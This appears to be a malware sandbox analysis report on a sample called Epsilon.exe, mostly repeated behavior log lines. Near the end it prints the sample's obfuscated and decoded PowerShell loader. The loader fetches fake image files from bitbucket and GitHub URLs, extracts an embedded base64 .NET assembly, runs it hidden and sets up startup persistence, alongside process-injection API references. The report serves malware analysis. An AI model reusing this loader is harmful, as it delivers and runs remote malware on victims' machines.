Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1960	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 695	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3167	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6631	Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2468

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep count: 3167 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep count: 6631 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF73782204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF73782204C

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF7378264E4 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF7378264E4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF7378230EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF7378230EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737828790 SetUnhandledExceptionFilter,		0_2_00007FF737828790
Source: C:\Users\user\Desktop\Epsilon.exe	Code function: 0_2_00007FF737828494 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF737828494

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7660.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7660, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 7.2.powershell.exe.1a1da5d0000.0.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 7.2.powershell.exe.1a1da5d0000.0.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 7.2.powershell.exe.1a1da5d0000.0.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num4 + 8, ref buffer, 4, ref bytesRead)
Source: 7.2.powershell.exe.1a1da5d0000.0.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64)
Source: 7.2.powershell.exe.1a1da5d0000.0.raw.unpack, Progrgdfam3.cs	Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num5, payload, bufferSize, ref bytesRead)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

